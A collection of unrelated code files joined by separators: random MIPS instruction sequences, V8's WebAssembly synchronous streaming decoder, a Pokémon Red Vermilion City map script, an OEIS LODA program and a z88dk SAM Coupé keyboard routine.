lh $1,10($0)
slti $6,$1,-24856
srlv $5,$5,$3
sltiu $3,$4,28962
slt $4,$0,$3
addu $5,$4,$3
sra $3,$3,9
srl $4,$1,11
subu $3,$4,$3
sb $3,4($0)
addu $3,$3,$3
sltiu $3,$3,21548
lb $3,7($0)
sh $4,4($0)
lbu $3,13($0)
slt $3,$3,$3
nor $4,$5,$3
and $3,$3,$3
lbu $3,16($0)
srav $4,$4,$3
addu $3,$3,$3
addiu $3,$3,1586
subu $3,$5,$3
srl $4,$4,0
sra $3,$3,1
sltiu $6,$6,-14533
addiu $1,$3,18635
addiu $3,$3,-24051
srav $3,$4,$3
srav $4,$5,$3
sh $5,0($0)
andi $3,$4,9134
srlv $1,$1,$3
lbu $5,8($0)
sltiu $6,$4,-28000
addu $3,$3,$3
sh $1,14($0)
srl $3,$1,22
lh $5,8($0)
lbu $6,10($0)
xor $3,$6,$3
lh $1,8($0)
slti $6,$3,31051
lw $4,4($0)
sltiu $3,$3,20119
sw $4,8($0)
addiu $6,$4,-27093
sw $5,16($0)
andi $1,$1,13205
srav $4,$5,$3
addiu $0,$1,-30104
subu $4,$4,$3
and $5,$5,$3
srlv $3,$4,$3
or $5,$5,$3
addiu $4,$3,-21347
sra $3,$3,25
ori $4,$3,5803
nor $5,$4,$3
sllv $3,$3,$3
lb $4,4($0)
nor $1,$0,$3
and $3,$3,$3
sra $5,$4,30
sltiu $0,$3,-12420
sw $6,0($0)
srav $1,$3,$3
srlv $0,$3,$3
lhu $1,2($0)
sll $3,$5,29
sltiu $5,$5,22540
sh $3,12($0)
slti $0,$0,-11758
sb $0,6($0)
subu $3,$4,$3
sw $3,12($0)
subu $6,$3,$3
xori $3,$6,21938
addiu $5,$0,-2780
sltu $5,$5,$3
sw $5,16($0)
xor $0,$4,$3
and $3,$4,$3
addiu $4,$4,29233
sll $3,$4,24
sw $3,0($0)
xor $3,$3,$3
lw $3,8($0)
nor $1,$1,$3
sw $1,4($0)
sb $5,14($0)
subu $3,$6,$3
addiu $2,$2,1557
sllv $6,$5,$3
sltu $4,$5,$3
sh $4,2($0)
sll $3,$1,23
addu $6,$6,$3
lhu $4,14($0)
lw $6,16($0)
sb $3,8($0)
srl $1,$3,2
subu $5,$0,$3
nor $4,$3,$3
slti $3,$4,7316
slt $5,$5,$3
nor $3,$0,$3
lbu $4,16($0)
slti $6,$3,-31330
sll $4,$0,11
addiu $4,$3,-7919
sh $4,2($0)
subu $3,$5,$3
and $3,$3,$3
slti $3,$3,-4446
ori $3,$3,12573
srlv $5,$3,$3
lh $5,0($0)
srl $3,$3,16
subu $1,$0,$3
addu $4,$5,$3
and $5,$3,$3
or $4,$6,$3
sltu $0,$5,$3
slti $1,$1,17773
sb $3,16($0)
nor $6,$3,$3
sh $3,4($0)
srlv $1,$1,$3
ori $0,$4,38582
sltiu $6,$1,-12334
subu $3,$4,$3
ori $3,$3,40704
lw $6,16($0)
addiu $3,$3,10295
addiu $4,$1,23514
sh $5,6($0)
sra $4,$4,30
srav $5,$6,$3
and $1,$1,$3
slti $1,$3,10076
sw $4,16($0)
or $5,$5,$3
xor $3,$3,$3
subu $3,$4,$3
addiu $4,$5,-5676
srav $5,$0,$3
sltu $1,$1,$3
srl $4,$3,9
lb $3,12($0)
lbu $3,3($0)
nor $4,$5,$3
lh $3,4($0)
slt $3,$0,$3
sllv $4,$1,$3
addiu $1,$1,24501
sra $1,$4,21
subu $3,$3,$3
subu $4,$5,$3
lh $1,14($0)
sltiu $4,$4,17303
slti $3,$5,-11221
sh $6,12($0)
sw $3,16($0)
addiu $1,$4,18300
lbu $4,15($0)
sllv $5,$3,$3
subu $5,$4,$3
srav $4,$1,$3
and $5,$1,$3
sllv $0,$4,$3
subu $1,$5,$3
sltu $1,$0,$3
slti $4,$1,21994
andi $4,$4,11095
srav $3,$3,$3
sltiu $3,$5,6989
xor $4,$3,$3
sllv $6,$6,$3
lhu $4,12($0)
slti $5,$1,21043
addu $5,$4,$3
addu $5,$3,$3
sw $3,0($0)
srav $5,$6,$3
addiu $1,$4,-17309
sb $4,4($0)
srav $5,$1,$3
slti $3,$4,-23837
subu $1,$5,$3
addu $0,$2,$3
sw $0,4($0)
lbu $1,6($0)
addu $3,$4,$3
addiu $3,$1,-19991
sh $4,4($0)
sw $1,4($0)
srl $3,$6,1
lw $5,0($0)
sltiu $4,$5,31497
srl $0,$3,27
lw $3,12($0)
or $4,$1,$3
nor $1,$3,$3
lbu $3,15($0)
sw $4,12($0)
subu $3,$3,$3
addu $4,$4,$3
lw $3,12($0)
and $5,$4,$3
xor $3,$4,$3
ori $3,$5,387
srl $0,$3,7
lh $0,10($0)
addu $5,$5,$3
addu $1,$4,$3
lhu $0,0($0)
slt $4,$5,$3
sh $4,2($0)
sllv $4,$5,$3
subu $6,$1,$3
sb $1,5($0)
addiu $4,$4,-26550
sllv $6,$4,$3
srav $5,$4,$3
or $4,$5,$3
sltu $1,$4,$3
lw $3,4($0)
addu $4,$4,$3
and $3,$5,$3
lbu $4,2($0)
srav $6,$6,$3
xor $5,$3,$3
xori $5,$3,60592
sltu $0,$3,$3
slti $4,$3,2565
sltu $6,$3,$3
sltu $0,$4,$3
or $3,$0,$3
lhu $3,14($0)
addu $3,$4,$3
subu $6,$4,$3
and $3,$3,$3
sltu $3,$3,$3
sllv $5,$3,$3
lhu $3,12($0)
srav $1,$5,$3
ori $4,$5,5417
sw $5,16($0)
sllv $3,$5,$3
addiu $6,$6,18053
sltiu $6,$0,-15895
sra $3,$6,0
lh $4,8($0)
srl $4,$4,26
ori $1,$4,21782
sw $3,0($0)
addu $6,$6,$3
sll $3,$3,5
sb $4,15($0)
xori $5,$5,1819
addu $3,$3,$3
xori $4,$4,26211
xor $5,$5,$3
subu $4,$6,$3
sw $6,12($0)
srl $3,$3,14
lb $4,7($0)
sltiu $3,$5,-1227
sltiu $3,$1,15298
sltiu $3,$6,-30837
sb $3,15($0)
nor $4,$5,$3
addiu $3,$3,7868
slt $4,$5,$3
subu $6,$1,$3
addu $6,$6,$3
addu $3,$3,$3
lh $3,0($0)
and $2,$2,$3
andi $4,$0,44948
sllv $3,$1,$3
sllv $3,$3,$3
srav $4,$5,$3
lbu $1,6($0)
srl $1,$3,27
ori $6,$1,11232
sltu $5,$5,$3
slt $0,$5,$3
sll $0,$6,17
srav $2,$2,$3
srlv $1,$3,$3
lbu $2,12($0)
lb $3,4($0)
or $3,$1,$3
xori $5,$1,23277
sw $1,12($0)
addiu $3,$3,10068
addiu $0,$5,-22566
sll $3,$3,10
lhu $3,14($0)
sltiu $3,$3,28934
addu $3,$3,$3
sra $3,$6,12
lbu $1,2($0)
addiu $4,$4,1671
sw $3,0($0)
lh $4,8($0)
addiu $1,$1,-1062
sllv $3,$3,$3
sltu $4,$1,$3
or $0,$3,$3
sll $4,$0,14
xor $6,$3,$3
subu $4,$3,$3
lh $3,8($0)
xori $6,$4,14134
slti $4,$4,20450
lb $1,16($0)
lw $5,12($0)
lhu $0,2($0)
nor $4,$4,$3
srlv $3,$0,$3
addiu $3,$5,-43
sltu $4,$6,$3
and $3,$1,$3
subu $5,$5,$3
lw $3,12($0)
sh $0,12($0)
subu $4,$3,$3
lbu $3,9($0)
addiu $6,$3,6364
addiu $4,$4,-15042
slti $1,$4,29872
nor $5,$3,$3
lbu $5,8($0)
srav $6,$6,$3
addu $6,$4,$3
addiu $5,$4,7620
addu $5,$0,$3
addu $1,$4,$3
srlv $3,$5,$3
lhu $5,16($0)
srl $3,$0,16
subu $1,$1,$3
slti $5,$4,28356
slti $4,$3,-11718
srav $3,$1,$3
subu $3,$3,$3
srav $3,$3,$3
sltu $4,$4,$3
and $4,$3,$3
slti $1,$4,-16103
andi $4,$3,49549
addu $3,$5,$3
slti $3,$3,-5459
lbu $3,12($0)
lh $5,6($0)
srl $1,$1,4
subu $3,$3,$3
sw $3,12($0)
addiu $4,$4,-8038
addiu $3,$2,23753
sll $3,$4,25
srav $0,$5,$3
lhu $0,2($0)
srlv $3,$3,$3
addu $6,$6,$3
sltiu $3,$5,-23688
sltu $1,$1,$3
lbu $5,15($0)
sra $3,$5,15
ori $1,$1,42877
lhu $5,14($0)
sra $4,$1,21
srav $1,$2,$3
slt $3,$5,$3
xori $6,$4,34236
ori $3,$3,47790
sltiu $1,$5,10533
lb $3,13($0)
addu $5,$5,$3
lb $3,12($0)
addiu $5,$0,-27746
srlv $3,$2,$3
srl $3,$4,14
xor $4,$0,$3
srl $5,$3,21
sh $1,0($0)
addu $3,$4,$3
addiu $3,$3,-15586
slt $3,$4,$3
srav $0,$3,$3
sll $0,$5,13
lbu $1,7($0)
xori $4,$5,51320
sw $0,0($0)
lb $4,4($0)
srlv $1,$1,$3
addu $5,$5,$3
ori $1,$4,37999
sltu $3,$0,$3
addiu $3,$1,-3951
sw $0,16($0)
lw $3,4($0)
slt $1,$3,$3
lw $4,0($0)
sltiu $5,$6,3190
lh $3,4($0)
addiu $4,$1,16836
addu $1,$4,$3
slt $3,$3,$3
lb $1,3($0)
srav $4,$4,$3
sb $3,0($0)
srlv $4,$4,$3
or $5,$5,$3
or $6,$6,$3
xor $3,$3,$3
sllv $0,$0,$3
lb $3,1($0)
lh $1,6($0)
addiu $4,$4,10343
lhu $3,12($0)
addiu $4,$2,6389
andi $3,$6,5737
sb $1,8($0)
lh $4,10($0)
lh $5,2($0)
lhu $6,8($0)
addu $5,$2,$3
srav $1,$1,$3
sb $4,16($0)
srav $0,$6,$3
lhu $3,4($0)
lh $5,6($0)
addu $0,$0,$3
subu $3,$1,$3
slti $4,$0,29560
slti $3,$3,-2324
sra $6,$6,6
slt $3,$0,$3
subu $4,$4,$3
subu $3,$4,$3
or $3,$3,$3
andi $3,$1,43236
srav $4,$4,$3
addiu $5,$1,-13317
sllv $3,$4,$3
nor $0,$4,$3
addu $6,$3,$3
slti $3,$3,32231
sb $1,0($0)
nor $3,$3,$3
addiu $5,$3,-9014
xori $5,$5,52873
srlv $6,$6,$3
sb $0,9($0)
lbu $1,9($0)
sll $3,$6,26
slti $4,$4,-28104
sll $4,$6,14
addu $4,$1,$3
sltiu $1,$5,18357
srav $5,$3,$3
sll $4,$1,26
sh $6,4($0)
or $3,$3,$3
slt $1,$4,$3
lb $3,10($0)
sllv $3,$1,$3
addu $1,$3,$3
xor $3,$4,$3
ori $4,$3,12380
lw $3,8($0)
lb $4,2($0)
subu $3,$5,$3
sll $0,$0,18
subu $3,$5,$3
and $3,$4,$3
sb $1,3($0)
sh $6,0($0)
slti $0,$3,-30908
sw $0,8($0)
sll $5,$5,0
slt $3,$3,$3
srav $5,$1,$3
sllv $3,$6,$3
andi $5,$2,45569
lhu $3,4($0)
sltiu $0,$0,248
slti $3,$1,5165
addiu $0,$0,-28266
srl $3,$4,24
addu $5,$5,$3
srl $3,$3,14
lb $5,3($0)
or $4,$5,$3
srav $4,$4,$3
sh $2,16($0)
subu $4,$3,$3
ori $6,$6,29397
ori $0,$5,26831
sb $3,13($0)
xori $5,$4,36982
slt $0,$3,$3
subu $1,$3,$3
sh $6,14($0)
srlv $3,$3,$3
sltiu $4,$3,28146
sltiu $3,$1,-26251
sll $5,$5,18
ori $3,$5,51693
slti $1,$1,16998
or $6,$3,$3
sra $3,$4,15
sh $5,10($0)
ori $0,$1,61217
ori $4,$3,41136
srav $3,$4,$3
nor $3,$4,$3
addu $3,$3,$3
slt $5,$1,$3
srl $3,$3,8
sra $3,$0,25
lb $1,10($0)
slti $3,$4,19855
ori $3,$0,12092
addu $5,$3,$3
sh $0,4($0)
andi $5,$5,28370
sw $6,0($0)
slt $3,$1,$3
sb $4,12($0)
lh $4,8($0)
addu $3,$2,$3
lbu $3,2($0)
sw $4,12($0)
xori $4,$3,7385
lh $1,8($0)
subu $4,$6,$3
lbu $3,10($0)
sb $3,16($0)
lh $1,8($0)
sll $5,$4,23
sw $3,4($0)
subu $3,$3,$3
nor $5,$5,$3
sltu $3,$5,$3
and $0,$4,$3
sh $1,16($0)
sb $0,6($0)
and $5,$3,$3
lbu $1,6($0)
nor $1,$4,$3
lbu $3,14($0)
sll $1,$4,2
andi $4,$4,39360
sh $0,12($0)
andi $1,$4,53151
lw $5,0($0)
xori $4,$6,59901
xor $4,$5,$3
xori $0,$3,55954
andi $1,$6,33073
sh $3,14($0)
addu $3,$0,$3
lb $5,10($0)
andi $3,$3,10661
sltu $5,$3,$3
ori $1,$1,19170
addu $6,$5,$3
andi $3,$6,18309
lh $6,10($0)
subu $4,$4,$3
and $5,$4,$3
addiu $4,$4,-13743
sra $1,$1,14
addiu $4,$0,-2704
lhu $3,0($0)
and $3,$3,$3
sltu $3,$5,$3
lbu $1,8($0)
sw $1,4($0)
sh $1,12($0)
srl $6,$6,9
subu $0,$4,$3
lb $1,4($0)
or $1,$5,$3
andi $3,$3,54935
sltiu $6,$4,-27604
addiu $5,$3,-10249
sltiu $4,$6,11175
slti $4,$4,22623
sb $5,1($0)
and $3,$3,$3
subu $1,$1,$3
addiu $3,$4,19300
lw $1,8($0)
srlv $5,$1,$3
lbu $3,0($0)
lhu $5,8($0)
or $3,$3,$3
sb $1,4($0)
addiu $3,$3,30229
slt $4,$4,$3
addu $0,$1,$3
sra $3,$6,2
or $3,$4,$3
addu $5,$3,$3
srlv $5,$3,$3
subu $1,$3,$3
sw $1,8($0)
sh $3,16($0)
sltu $1,$3,$3
lh $4,8($0)
xor $3,$5,$3
addiu $4,$3,-26640
slti $1,$1,6023
lw $6,8($0)
srl $1,$4,28
slt $4,$3,$3
xor $6,$3,$3
and $1,$4,$3
and $5,$5,$3
addiu $3,$3,-1279
sltiu $4,$3,-22399
srav $4,$4,$3
sll $4,$3,5
srl $4,$4,31
sh $0,16($0)
subu $4,$4,$3
slt $4,$0,$3
addiu $4,$4,22422
|
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/execution/isolate.h"
#include "src/wasm/streaming-decoder.h"
#include "src/wasm/wasm-engine.h"
#include "src/wasm/wasm-objects-inl.h"
#include "src/wasm/wasm-serialization.h"
namespace v8 {
namespace internal {
namespace wasm {
class V8_EXPORT_PRIVATE SyncStreamingDecoder : public StreamingDecoder {
public:
SyncStreamingDecoder(Isolate* isolate, const WasmFeatures& enabled,
Handle<Context> context,
const char* api_method_name_for_errors,
std::shared_ptr<CompilationResultResolver> resolver)
: isolate_(isolate),
enabled_(enabled),
context_(context),
api_method_name_for_errors_(api_method_name_for_errors),
resolver_(resolver) {}
// The buffer passed into OnBytesReceived is owned by the caller.
void OnBytesReceived(base::Vector<const uint8_t> bytes) override {
buffer_.emplace_back(bytes.size());
CHECK_EQ(buffer_.back().size(), bytes.size());
std::memcpy(buffer_.back().data(), bytes.data(), bytes.size());
buffer_size_ += bytes.size();
}
void Finish(bool can_use_compiled_module) override {
// We copy all received chunks into one byte buffer.
auto bytes = std::make_unique<uint8_t[]>(buffer_size_);
uint8_t* destination = bytes.get();
for (auto& chunk : buffer_) {
std::memcpy(destination, chunk.data(), chunk.size());
destination += chunk.size();
}
CHECK_EQ(destination - bytes.get(), buffer_size_);
// Check if we can deserialize the module from cache.
if (can_use_compiled_module && deserializing()) {
HandleScope scope(isolate_);
SaveAndSwitchContext saved_context(isolate_, *context_);
MaybeHandle<WasmModuleObject> module_object = DeserializeNativeModule(
isolate_, compiled_module_bytes_,
base::Vector<const uint8_t>(bytes.get(), buffer_size_), url());
if (!module_object.is_null()) {
Handle<WasmModuleObject> module = module_object.ToHandleChecked();
resolver_->OnCompilationSucceeded(module);
return;
}
}
// Compile the received bytes synchronously.
ModuleWireBytes wire_bytes(bytes.get(), bytes.get() + buffer_size_);
ErrorThrower thrower(isolate_, api_method_name_for_errors_);
MaybeHandle<WasmModuleObject> module_object =
GetWasmEngine()->SyncCompile(isolate_, enabled_, &thrower, wire_bytes);
if (thrower.error()) {
resolver_->OnCompilationFailed(thrower.Reify());
return;
}
Handle<WasmModuleObject> module = module_object.ToHandleChecked();
resolver_->OnCompilationSucceeded(module);
}
void Abort() override {
// Abort is fully handled by the API, we only clear the buffer.
buffer_.clear();
}
void NotifyCompilationEnded() override { buffer_.clear(); }
void NotifyNativeModuleCreated(
const std::shared_ptr<NativeModule>&) override {
// This function is only called from the {AsyncCompileJob}.
UNREACHABLE();
}
private:
Isolate* isolate_;
const WasmFeatures enabled_;
Handle<Context> context_;
const char* api_method_name_for_errors_;
std::shared_ptr<CompilationResultResolver> resolver_;
std::vector<std::vector<uint8_t>> buffer_;
size_t buffer_size_ = 0;
};
std::unique_ptr<StreamingDecoder> StreamingDecoder::CreateSyncStreamingDecoder(
Isolate* isolate, const WasmFeatures& enabled, Handle<Context> context,
const char* api_method_name_for_errors,
std::shared_ptr<CompilationResultResolver> resolver) {
return std::make_unique<SyncStreamingDecoder>(isolate, enabled, context,
api_method_name_for_errors,
std::move(resolver));
}
} // namespace wasm
} // namespace internal
} // namespace v8
|
VermilionCity_Script:
call EnableAutoTextBoxDrawing
ld hl, wCurrentMapScriptFlags
bit 6, [hl]
res 6, [hl]
push hl
call nz, .initCityScript
pop hl
bit 5, [hl]
res 5, [hl]
call nz, .setFirstLockTrashCanIndex
ld hl, VermilionCity_ScriptPointers
ld a, [wVermilionCityCurScript]
jp CallFunctionInTable
.setFirstLockTrashCanIndex
call Random
ldh a, [hRandomSub]
and $e
ld [wFirstLockTrashCanIndex], a
ret
.initCityScript
CheckEventHL EVENT_SS_ANNE_LEFT
ret z
CheckEventReuseHL EVENT_WALKED_PAST_GUARD_AFTER_SS_ANNE_LEFT
SetEventReuseHL EVENT_WALKED_PAST_GUARD_AFTER_SS_ANNE_LEFT
ret nz
ld a, $2
ld [wVermilionCityCurScript], a
ret
VermilionCity_ScriptPointers:
dw VermilionCityScript0
dw VermilionCityScript1
dw VermilionCityScript2
dw VermilionCityScript3
dw VermilionCityScript4
VermilionCityScript0:
ld a, [wSpritePlayerStateData1FacingDirection]
and a ; cp SPRITE_FACING_DOWN
ret nz
ld hl, SSAnneTicketCheckCoords
call ArePlayerCoordsInArray
ret nc
xor a
ldh [hJoyHeld], a
ld [wcf0d], a
ld a, $3
ldh [hSpriteIndexOrTextID], a
call DisplayTextID
CheckEvent EVENT_SS_ANNE_LEFT
jr nz, .shipHasDeparted
ld b, S_S_TICKET
predef GetQuantityOfItemInBag
ld a, b
and a
ret nz
.shipHasDeparted
ld a, D_UP
ld [wSimulatedJoypadStatesEnd], a
ld a, $1
ld [wSimulatedJoypadStatesIndex], a
call StartSimulatingJoypadStates
ld a, $1
ld [wVermilionCityCurScript], a
ret
SSAnneTicketCheckCoords:
dbmapcoord 18, 30
db -1 ; end
VermilionCityScript4:
ld hl, SSAnneTicketCheckCoords
call ArePlayerCoordsInArray
ret c
ld a, $0
ld [wVermilionCityCurScript], a
ret
VermilionCityScript2:
ld a, $ff
ld [wJoyIgnore], a
ld a, D_UP
ld [wSimulatedJoypadStatesEnd], a
ld [wSimulatedJoypadStatesEnd + 1], a
ld a, 2
ld [wSimulatedJoypadStatesIndex], a
call StartSimulatingJoypadStates
ld a, $3
ld [wVermilionCityCurScript], a
ret
VermilionCityScript3:
ld a, [wSimulatedJoypadStatesIndex]
and a
ret nz
xor a
ld [wJoyIgnore], a
ldh [hJoyHeld], a
ld a, $0
ld [wVermilionCityCurScript], a
ret
VermilionCityScript1:
ld a, [wSimulatedJoypadStatesIndex]
and a
ret nz
ld c, 10
call DelayFrames
ld a, $0
ld [wVermilionCityCurScript], a
ret
VermilionCity_TextPointers:
dw VermilionCityText1
dw VermilionCityText2
dw VermilionCityText3
dw VermilionCityText4
dw VermilionCityText5
dw VermilionCityText6
dw VermilionCityText7
dw VermilionCityText8
dw MartSignText
dw PokeCenterSignText
dw VermilionCityText11
dw VermilionCityText12
dw VermilionCityText13
VermilionCityText1:
text_far _VermilionCityText1
text_end
VermilionCityText2:
text_asm
CheckEvent EVENT_SS_ANNE_LEFT
jr nz, .shipHasDeparted
ld hl, VermilionCityTextDidYouSee
call PrintText
jr .end
.shipHasDeparted
ld hl, VermilionCityTextSSAnneDeparted
call PrintText
.end
jp TextScriptEnd
VermilionCityTextDidYouSee:
text_far _VermilionCityTextDidYouSee
text_end
VermilionCityTextSSAnneDeparted:
text_far _VermilionCityTextSSAnneDeparted
text_end
VermilionCityText3:
text_asm
CheckEvent EVENT_SS_ANNE_LEFT
jr nz, .shipHasDeparted
ld a, [wSpritePlayerStateData1FacingDirection]
cp SPRITE_FACING_RIGHT
jr z, .greetPlayer
ld hl, .inFrontOfOrBehindGuardCoords
call ArePlayerCoordsInArray
jr nc, .greetPlayerAndCheckTicket
.greetPlayer
ld hl, SSAnneWelcomeText4
call PrintText
jr .end
.greetPlayerAndCheckTicket
ld hl, SSAnneWelcomeText9
call PrintText
ld b, S_S_TICKET
predef GetQuantityOfItemInBag
ld a, b
and a
jr nz, .playerHasTicket
ld hl, SSAnneNoTicketText
call PrintText
jr .end
.playerHasTicket
ld hl, SSAnneFlashedTicketText
call PrintText
ld a, $4
ld [wVermilionCityCurScript], a
jr .end
.shipHasDeparted
ld hl, SSAnneNotHereText
call PrintText
.end
jp TextScriptEnd
.inFrontOfOrBehindGuardCoords
dbmapcoord 19, 29 ; in front of guard
dbmapcoord 19, 31 ; behind guard
db -1 ; end
SSAnneWelcomeText4:
text_far _SSAnneWelcomeText4
text_end
SSAnneWelcomeText9:
text_far _SSAnneWelcomeText9
text_end
SSAnneFlashedTicketText:
text_far _SSAnneFlashedTicketText
text_end
SSAnneNoTicketText:
text_far _SSAnneNoTicketText
text_end
SSAnneNotHereText:
text_far _SSAnneNotHereText
text_end
VermilionCityText4:
text_far _VermilionCityText4
text_end
VermilionCityText5:
text_far _VermilionCityText5
text_asm
ld a, MACHOP
call PlayCry
call WaitForSoundToFinish
ld hl, VermilionCityText14
ret
VermilionCityText14:
text_far _VermilionCityText14
text_end
VermilionCityText6:
text_far _VermilionCityText6
text_end
VermilionCityText7:
text_far _VermilionCityText7
text_end
VermilionCityText8:
text_far _VermilionCityText8
text_end
VermilionCityText11:
text_far _VermilionCityText11
text_end
VermilionCityText12:
text_far _VermilionCityText12
text_end
VermilionCityText13:
text_far _VermilionCityText13
text_end
|
; A091860: a(1)=1, a(n)=sum(i=1,n-1,b(i)) where b(i)=0 if a(i) and a(n-i) are both even, b(i)=1 otherwise.
; Submitted by Jon Maiga
; 1,1,2,3,4,4,6,5,6,6,8,6,8,8,8,7,8,8,10,8,10,10,10,8,10,10,10,10,10,10,10,9,10,10,12,10,12,12,12,10,12,12,12,12,12,12,12,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,14,12,14,14,14,12,14,14,14,14,14
mul $0,2
mov $3,1
lpb $0
sub $0,1
div $0,2
add $1,2
sub $2,$3
mov $3,12
add $3,$0
add $0,$2
mod $3,2
mul $3,$2
add $1,$3
lpe
mov $0,$1
add $0,1
|
;
; SAM Coupe C Library
;
; getkey() Wait for keypress
;
; We will corrupt any register
;
; Stefano Bodrato - Mar.2001
;
;
; $Id: fgetc_cons.asm,v 1.4 2016-06-12 17:32:01 dom Exp $
;
SECTION code_clib
PUBLIC fgetc_cons
PUBLIC _fgetc_cons
.fgetc_cons
._fgetc_cons
call $016C
IF STANDARDESCAPECHARS
cp 13
jr nz,not_return
ld a,10
.not_return
ENDIF
ld h,0
ld l,a
ret
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.